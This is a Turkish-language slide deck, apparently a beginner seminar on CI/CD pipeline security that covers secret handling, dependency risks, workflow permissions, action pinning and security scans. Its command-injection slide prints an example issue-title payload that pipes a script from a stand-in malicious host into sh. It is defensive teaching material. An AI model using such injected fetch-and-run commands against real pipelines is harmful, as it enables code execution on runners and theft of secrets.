

PIPELINE SECURITY 101 for developers

Geliştiriciler için CI/CD Güvenliği

Sıfırdan: pipeline nedir, neden bir güvenlik konusudur, ilk gün ne yapılır



NE KONUŞACAĞIZ

01

PIPELINE NEDİR

Sıfırdan: CI/CD, workflow, runner, terimler

02

NEDEN GÜVENLİK

Pipeline'in elinde ne var, ne kaybedilir

03

PAROLALAR

Secret nedir, nereye konur, nereye konmaz

04

PAKETLER

npm install yazınca aslında ne oluyor

05

WORKFLOW

Üç basit kural: izin, sabitleme, girdi

06

TARAMALAR

Üç tarama türü ve pipeline'daki yerleri

07

İLK ADIMLAR

Bugün yapılacak beş şey

EK

BUNDAN SONRASI

İleri konular ve kaynaklar

ÖN KOŞUL

Hiçbir ön bilgi gerekmiyor. CI/CD'yi hiç kullanmadıysan da takip edebilirsin; her terimi kullanmadan önce tanımlayacağız.

BÖLÜM 01

PIPELINE NEDİR?

- > CI/CD ne demek
- > Bir pipeline neye benzer
- > Terimler sözlüğü

01

KODU PUSH ETTİN. PEKİ SONRA NE OLUYOR?

Çoğumuz `git push` sonrasında bir kara kutu gibi görürüz. Bu seminerin konusu tam olarak o kutunun içi — çünkü orada senin parolaların, sunucu erişimin ve yayın yetkin duruyor.

CI/CD NE DEMEK?

01

CI

Sürekli Entegrasyon. Her kod gönderiminde proje otomatik derlenir ve testler koşar. Amaç: bozuk kodun fark edilmeden birikmesini önlemek.

02

CD

Sürekli Dağıtım. Testten geçen kod otomatik paketlenip sunucuya kurulur. Amaç: elle deploy sırasında yapılan hataları ortadan kaldırmak.

03

PIPELINE

Bu adımların yazılı tarifi. Repoda bir dosyada durur ve her push'ta baştan sona, insan beklemeden çalışır.

BİLMEN GEREKEN

Yani pipeline yeni bir teknoloji değil; daha önce elle yaptığımız işlerin bir dosyaya yazılmış hâli. Sorun da buradan çıkıyor: o dosya artık senin yetkilerinle iş yapıyor.

BİR PIPELINE NELERDEN OLUŞUR?



ÖZET

Sen sadece `git push` yaparsın. Bu beş adımı senin yerine bir makine, senin yetkilerinle, otomatik olarak yapar.

SEKİZ KELİME LİK SÖZLÜK

workflow

Pipeline'in tarifi. Repoda .github/workflows/ altında duran bir YAML dosyası.

job

Workflow içindeki bir iş parçası. Kendi makinesinde sıfırdan başlar.

step

Job'ın içindeki tek bir adım: ya bir komut ya hazır bir paket.

runner

Job'ın çalıştığı bilgisayar. Genelde her iş için kurulup silinen geçici bir sanal makine.

action

Başkasının yazıp paylaştığı hazır adım. Örneğin kodu indiren actions/checkout.

secret

Pipeline'in ihtiyacı olan parola veya anahtar. Kodun içinde değil, ayrı bir kasada durur.

artifact

Pipeline'in ürettiği çıktı: derlenmiş dosya, Docker imajı, kurulum paketi.

registry

Üretilen paketlerin yayınlandığı depo. Docker Hub, ghcr.io, npm gibi.

EN BASİT WORKFLOW

Gerçek bir pipeline dosyası bundan ibaret. Satır satır bakalım.

```
name: ci                                <-- bu dosyanın adı
on: [push]                              <-- ne zaman çalışsın

jobs:                                   <-- yapılacak işler
  test:                                <-- işin adı — sen koyarsın
    runs-on: ubuntu-latest             <-- hangi makinede koşsun
    steps:                             <-- adımlar, sırayla
      - uses: actions/checkout@v4      <-- hazır adım: kodu indir
      - run: npm ci                    <-- komut: paketleri kur
      - run: npm test                  <-- komut: testleri çalıştır
```

IPUCU

Hepsi bu. "Pipeline" dediğimiz şey, bu dosyanın her push'ta baştan sona çalıştırılmasından ibaret.

BÖLÜM 02

NEDEN GÜVENLİK KONUSU?

- > Pipeline'in elinde ne var
- > Ölçek farkı
- > Yol haritası

02

NEDEN ÖNEMLİ

PIPELINE SENİN YETKİLERİNLE ÇALIŞAN BİR MAKİNE DİR.

Sen uyurken de çalışır, sana sormaz ve yapabildiği her şeyi senin adına yapar. Güvenlik sorusu buradan doğuyor: bu makinenin eline ne verdik?

PIPELINE'IN ELİNDE NE VAR?

01

PAROLALAR

Veritabanı parolası, API anahtarları, bulut erişim bilgileri. Deploy edebilmesi için hepsi orada duruyor.

02

SUNUCU ERİŞİMİ

Production sunucusuna kurulum yapma yetkisi — üstelik hiçbir insan onayı beklemeden.

03

YAYIN YETKİSİ

Repoya yazma, yeni sürüm yayınlama, paket ve imaj gönderme hakkı. Kullanıcılarına ulaşan yol bu.

BİLMEN GEREKEN

Bir saldırganın bunların hepsine tek noktadan ulaşabilmesi, pipeline'ı uygulamanın kendisinden daha çekici bir hedef yapıyor.

ÖLÇEK FARKI

- Uygulamanda bir açık bulunursa **tek bir uygulama** etkilenir.
- Pipeline ele geçirilirse o pipeline'ın ürettiği **bütün sürümler** etkilenir.
- Üstelik parolalar, sunucu erişimi ve yayın yetkisi de aynı yerde duruyor.
- Saldırgan için kodu kırmak yerine kodu taşıyan bandı kırmak daha verimli.

BİLMEN GEREKEN

Son yılların en geniş etkili olaylarının çoğu uygulama kodunda değil, tam olarak burada — build ve dağıtım zincirinde başladı.

ÖLÇEK

```
# uygulamada bir acik
1 uygulama etkilenir

# pipeline ele gecirilirse
uretilen TUM surumlar
+ parolalar
+ sunucu erisimi
+ yayın yetkisi
```

NERELERE BAKACAĞIZ

1 KOD

Parolalar ve anahtarlar kodun içinde unutulur

2 PAKETLER

Dışarıdan indirilen kütüphaneler zararlı olabilir

3 WORKFLOW

Pipeline'ın tarif dosyası yanlış yazılır

4 MAKİNE

Pipeline'ın koştığı bilgisayar temiz olmayabilir

5 ÇIKTI

Üretilen paketin gerçekten senden geldiği bilinmez

NOT

Bugün ilk üçüne derinlemesine gireceğiz. Son ikisi için ne olduklarını bilmen yeterli; detayları sonundaki ileri seviye listesinde.

BÖLÜM 03

PAROLALAR VE ANAHTARLAR

- > Secret nedir
- > En sık yapılan hata
- > Nereye konur

03

SECRET NEDİR?

- Veritabanı kullanıcı adı ve parolası
- Bir servise bağlanmak için kullanılan API anahtarı
- Bulut sağlayıcının erişim anahtarı (AWS, Azure, GCP)
- SSH anahtarı, imzalama sertifikası, webhook token'i

BİLMEN GEREKEN

Ortak özellikleri şu: eline geçiren kişi senin adına iş yapabilir. Bu yüzden bunlara "sır" diyoruz — ve bu yüzden nerede durdukları önemli.

EN SIK YAPILAN HATA

Test ederken hızlı olsun diye anahtarı doğrudan koda yazarız. Sonra unutulur ve commit edilir. En sık görülen ve en kolay sömürülen hata budur.

BÖYLE YAPMAYIN

```
# config.js
const API_KEY = "sk_live_51H8xY2eZvKq9..."

db.connect("postgres://admin:P4ssw0rd@10.0.0.5/prod")

# .env dosyasi repoya girerse ayni sey
AWS_ACCESS_KEY_ID=AKIA3XJ7QW2NPLM4ZTVB
```

DOĞRUSU

Bu değerler kodun içinde değil, platformun secret kasasında durur; kod onları çalışma anında ortam değişkeni olarak okur. `.env` dosyasını da ilk günden `.gitignore`'a ekle.

"SİLDİM, OLDU MU?"

Anahtarı fark ettin, sildin, yeni bir commit attın. Sorun çözüldü mü? Hayır. Git her şeyi saklar — eski commit hâlâ orada duruyor.

SILMEK YETMİYOR

```
$ git rm --cached .env
$ git commit -m "secret silindi"
anahtar hala önceki commit'in içinde

$ git log -p --all -S "AKIA"
# geçmişin tamamında arar -- saldirgan da böyle arar
```

NE YAPMALI

Tek doğru refleks: anahtarı **iptal et ve yenisini üret**. Buna rotasyon deniyor. Geçmişini temizlemek ikinci adımdır ve tek başına yetmez.

PEKİ NEREYE KOYACAĞIZ?

- Platformun kasasına: GitHub'da **Settings Secrets and variables**.
- Workflow onu `${{ secrets.ADI }}` ile okur; değer loglarda görünmez.
- `.env` repoya girmesin diye `.gitignore` ilk günden yazılsın.
- Bir de tarayıcı koy — kimse unutmayacağını düşünse de bir gün unutulur.

BİLMEN GEREKEN

Tarama iki yerde çalışmalı: commit atılmadan önce senin makinende, bir de pipeline içinde. İlki uyarır, ikincisi kaçanı yakalar.

GITLEAKS

```
$ gitleaks detect --source . --redact
# repodaki ve gecmisteki anahtarları arar
# --redact: bulduklarını ekrana basmaz

# commit atmadan önce, kendi makinende
$ gitleaks protect --staged --redact
```

BÖLÜM 04

PAKETLER

- > npm install yazınca ne oluyor
- > İki klasik saldırı
- > Lockfile ve tarama

04

NPM INSTALL YAZINCA NE OLUYOR?

- Tek komut yazarsın; arkasında onlarca, yüzlerce paket indirilir.
- Bunların çoğunu sen seçmedin — senin seçtiklerinin bağımlılıkları.
- Hepsi tanımadığın kişilerce yazıldı ve internetten geliyor.
- Bazı paketler kurulur kurulmaz kendi kodunu çalıştırır (`postinstall`).

BİLMEN GEREKEN

Bu kötü bir şey değil, modern yazılım böyle çalışıyor. Ama "kodumun tamamını ben yazdım" cümlesi artık doğru değil.

TEK KOMUT

```
$ npm install express  
added 68 packages in 2s
```

```
# sen 1 paket istedin, 68 paket geldi  
# büyük bir projede bu sayı binlere çıkar
```

```
$ npm install --ignore-scripts  
# kurulum script'lerini çalıştırma
```

İKİ KLASİK SALDIRI

01

BENZER İSİM

Saldırgan **regeusts** diye bir paket yayınlar. İsmi bir harf yanlış yazan herkes onun kodunu kurmuş olur.

02

ELE GEÇİRİLMİŞ PAKET

Gerçek paketin bakımıcısının hesabı çalınır ve doğru isimle, doğru görünen zararlı bir sürüm yayınlanır.

BİLMEN GEREKEN

Dikkat: ikisinde de senin kodunda hiçbir açık yok. Sorun, güvendiğin bir yerden geliyor. Bu yüzden "benim kodum temiz" demek yetmiyor.

LOCKFILE NE İŞE YARAR

- `^1.2.3` yazmak "bu ailenin en yenisini getir" demektir; yarın farklı bir sürüm gelebilir.
- Lockfile, o an kurulan **tam sürümü** ve dosyanın parmak izini kaydeder.
- Bu dosyayı repoya koy — böylece herkes ve pipeline aynı şeyi kurar.
- Cl'da `npm install` değil `npm ci` kullan: lockfile'a birebir uyar.

BİLMEN GEREKEN

Sabitlemek, güncellemeyi bırakmak değil. Dependabot gibi araçlar güncellemeleri PR olarak getirir; sen bakar, test eder, onaylarsın.

DİLE GÖRE KARŞILIĞI

```
$ npm ci # package-lock.json
$ yarn install --immutable # yarn.lock
$ pip install -r req.txt --require-hashes
$ go mod verify # go.sum
```

```
# hepsinin ortak fikri aynı:
# 'ne kurdugumu tam olarak biliyorum'
```

PAKETLERİMDE AÇIK VAR MI?

- Paketlerin bilinen açıkları herkese açık veritabanlarında yayınlanıyor.
- Tarayıcı senin lockfile'ını bu listeyle karşılaştırır, o kadar.
- Tek komut — pipeline'a tek satır olarak eklenir.
- Her bulguyu hemen düzeltme; önce gerçekten çalışan kod yolundakilere bak.

BİLMEN GEREKEN

Bir açığın "kritik" etiketi taşıması senin için de kritik olduğu anlamına gelmez. İnternete açık bir serviste orta seviye açık, iç araçtaki kritikten daha aciledir.

BAĞIMLILIK TARAMASI

```
$ osv-scanner scan source -r .  
# lockfile'leri acik veritabaniyla karsilastirir  
  
$ npm audit --audit-level=high  
$ pip-audit
```

BÖLÜM 05

WORKFLOW DOSYASI

- > İzni kıs
- > Sabitle
- > Girdiyi ayır

05

ÜÇ BASİT KURAL

- **İzni kıs** — pipeline'a gerekenden fazla yetki verme.
- **Sabitle** — başkasının kodunu "en yenisi" diye çekme.
- **Girdiyi ayır** — dışarıdan gelen metni komutun içine yazma.

NEDEN BU ÜÇÜ

Bu üç kural, workflow tarafındaki sorunların büyük çoğunluğunu kapatıyor. Üçü de tek satırlık değişiklikler ve hiçbirisi mevcut çalışmanı bozmuyor.

KURAL 1: İZNİ KİS

- Her çalışmaya otomatik bir token verilir; çoğu kurulumda gereğinden yetkilidir.
- Bir tarama işinin repoya yazması gerekmez — okuması yeter.
- Varsayılanı okumaya çek, yazma iznini yalnızca yayın yapan işe ver.
- Böylece bir adım ele geçse bile yapabileceği iş sınırlı kalır.

BİLMEN GEREKEN

Kurumsal tarafta bunu organizasyon ayarından varsayılan yapabilirsin: bütün repolar tek seferde okuma iznine düşer.

TEK SATIRLIK KAZANÇ

```
# dosyanın en üstüne
permissions:
  contents: read

# sadece yayın yapan iş genişletsin
jobs:
  release:
    permissions:
      contents: write
```

KURAL 2: SABİTLE

`uses: actions/checkout@v4` yazdığında bir sürümü değil, bir **etiketi** çağırırsın. Etiketin gösterdiği kod sonradan değiştirilebilir — ve o kod senin makinende çalışır.

ETIKET DEĞİL, NUMARA

```
uses: actions/checkout@v4      <- etiket, degisebilir
uses: birinin-actioni@main     <- daha da kotu
```

```
uses: actions/checkout@008c6903cd8c0fde910a37f88322edcfb5dd907a8
# v4.1.7    <- yaninda okunabilir surumu birak
```

NEDEN ÇALIŞIYOR

Commit numarası (SHA) değiştirilemez. Güncellemeleri Dependabot bu numarayı değiştiren bir PR olarak getirir; yine kontrollü kalırsın.

KURAL 3: GİRDİYİ AYIR

Workflow içindeki `${{ ... }}` ifadesi, komut çalışmadan önce **metin olarak** yerine yazılır. O metin dışarıdan geliyorsa içine komut da yazılabilir.

KOMUT ENJEKSİYONU

```
run: echo "Baslik: ${ github.event.issue.title }"

# saldirgan issue basligina sunu yazar:
a"; curl kotu-site.com/s.sh | sh; echo "

# runner'da calisan komut su hale gelir:
echo "Baslik: a"; curl kotu-site.com/s.sh | sh; echo ""
```

DOĞRUSU

Değeri önce **env:** ile bir değişkene al, sonra **\$DEGISKEN** olarak kullan — değişkenin içeriği komut olarak yorumlanmaz. Dikkat: issue ve PR başlıkları, commit mesajları, branch adları.

BÖLÜM 06

TARAMALAR

- > Üç tarama türü
- > Pipeline'ın neresine
- > Kırmalı mı, uyarmalı mı

06

ÜÇ FARKLI TARAMA

01

SECRET TARAMA

Kodun ve geçmişin içinde unutulmuş parola, anahtar, token arar. Araç: `gitleaks`.

02

SCA — BAĞIMLILIK

Kullandığın paketlerde bilinen açık var mı diye bakar. Araç: `osv-scanner`.

03

SAST — KOD

Kendi yazdığın kodda riskli kalıpları arar; kodu çalıştırmadan okur. Araç: `semgrep`.

BİLMEN GEREKEN

Üçü farklı şeye bakar, biri diğerinin yerini tutmaz. Küçük bir projede üçünü birden kurmak on dakika sürüyor.

PIPELINE'IN NERESİNE KOYULUR

Üçü de aynı workflow'a birer satır olarak giriyor.

```
jobs:
  guvenlik:                                     <-- ayrı bir iş olarak
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@08c6903cd8...    <-- kodu indir
      - run: gitleaks detect --redact            <-- 1) secret tarama
      - run: osv-scanner scan source -r .        <-- 2) bağımlılık taraması
      - run: semgrep --config=auto              <-- 3) kod taraması
```

IPUCU

Başlangıçta hepsini tek bir iş içinde topla. Proje büyüdükçe ayırırsın; önemli olan çalışıyor olmaları.

TARAMA BULDU — ŞİMDİ NE OLACAK?

İLK HAFTA

SADECE GÖSTER

```
continue-on-error: true
```

Tarama çalışsın ama kimseyi engellemesin. Önce ne kadar sorun olduğu görülsün.

BİRKAÇ HAFTA SONRA

YENİYİ ENGELLE

```
--baseline-commit=origin/main
```

Eskiden kalanlar geçsin, yeni eklenen sorun merge edilemesin.

SONRASINDA

ZORUNLU YAP

```
required status check
```

Tarama yeşil olmadan hiçbir şey ana dala giremesin.

NEDEN BÖYLE

İlk günden her şeyi kırmızıya çevirirsen ekip taramayı kapatır. Amaç önce durumu kötüleştirmemek, sonra yavaşça iyileştirmek.

BÖLÜM 07

İLK ADIMLAR

- > Bugün yapılacak beş şey
- > Örnek workflow
- > Kendi kendine denetim

07

BUGÜN YAPILACAK BEŞ ŞEY

- ☐ ⁰¹ **Secret tarayıcı ekle** — `gitleaks` hem kendi makinene hem pipeline'a
- ☐ ⁰² **İzni kıs** — workflow başına `permissions: contents: read`
- ☐ ⁰³ **Action'ları sabitle** — `@v4` yerine commit numarası
- ☐ ⁰⁴ **Kurulumu düzelt** — `npm install` yerine `npm ci`
- ☐ ⁰⁵ **Bağımlılık taraması ekle** — ilk hafta sadece uyarı modunda

SONRA

Beşi de tek satırlık değişiklik ve hiçbirisi mevcut çalışmanı bozmuyor. Bir öğleden sonra fazlasıyla yeter.

HEPSİ BİR ARADA

Beş adımın tek bir dosyada birleşmiş hâli.

```
name: ci
on: [push, pull_request]

permissions:                                     <-- 1) taban: sadece okuma
  contents: read

jobs:
  kontrol:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@008c6903cd8...    <-- 2) SHA ile sabit
      - run: npm ci                               <-- 3) lockfile'a uy
      - run: gitleaks detect --redact             <-- 4) secret taraması
      - run: osv-scanner scan source -r .         <-- 5) bağımlılık taraması
```

KENDİ KENDİNE DENETİM

- ☐ Repoda parola veya anahtar arayan bir tarama var mı?
- ☐ Workflow'un varsayılan izni sadece okuma mı?
- ☐ Dış action'lar commit numarasına sabitlenmiş mi?
- ☐ CI kurulum adımı lockfile'a uyuyor mu?
- ☐ `run:` satırlarında doğrudan `${{ }}` kullanan yer var mı?
- ☐ Bağımlılıklardaki açıkları kim, ne sıklıkla kontrol ediyor?

SONRA

Bu altı sorunun cevabını bugün veremiyorsan, seminerden sonraki ilk iş bu listeyi kendi repon üzerinde doldurmak olsun.

EK BÖLÜM

BUNDAN SONRASI

- > Bugün girmedığımız konular
- > Nereden devam edilir

EK

BUNDAN SONRASI

Bugün girmedığımız konular. Adlarını bilmek, aramaya nereden başlayacağını bilmektir.

> **OIDC ile secret'sız kimlik**

Kalıcı bulut anahtarı saklamak yerine her çalışmada geçici token almak

> **Artifact imzalama (cosign)**

Üretilen paketin gerçekten senin pipeline'ından çıktığını kanıtlamak

> **SBOM**

Sürümün içindeki paketlerin listesi; yeni bir açıkta kimin etkilendiğini bulmak için

> **SLSA / provenance**

Artefaktın hangi commit'ten, hangi workflow'la üretildiğinin kanıtı

> **Self-hosted runner**

Kendi makinende koşan runner'ın kalıcı olmasından doğan riskler

> **pull_request_target**

Fork'tan gelen PR'lara secret sızdırabilen tehlikeli tetikleyici

> **Dependency confusion**

İç paket adının public registry'de yayınlanmasıyla yapılan saldırı

> **laC taraması**

Terraform ve Kubernetes yapılandırmalarındaki hataları yakalama

SIRA

Bu listeye geçmeden önce bugünkü beş adımı kendi reponda tamamla. Temel kurulmadan ileri konular işe yaramıyor.

KAPANIŞ

SORULAR

Aklında tek cümle kalacaksa: pipeline **senin yetkilerinle** çalışan bir makinedir. Ona ne verdiğine ve kimin değiştirebildiğine dikkat et.

DEVAMI İÇİN

- > GitHub Actions — güvenlik dokümanı docs.github.com
- > OWASP Top 10 CI/CD Security Risks owasp.org
- > Gitleaks — secret tarama github.com/gitleaks
- > OSV — açık veritabanı osv.dev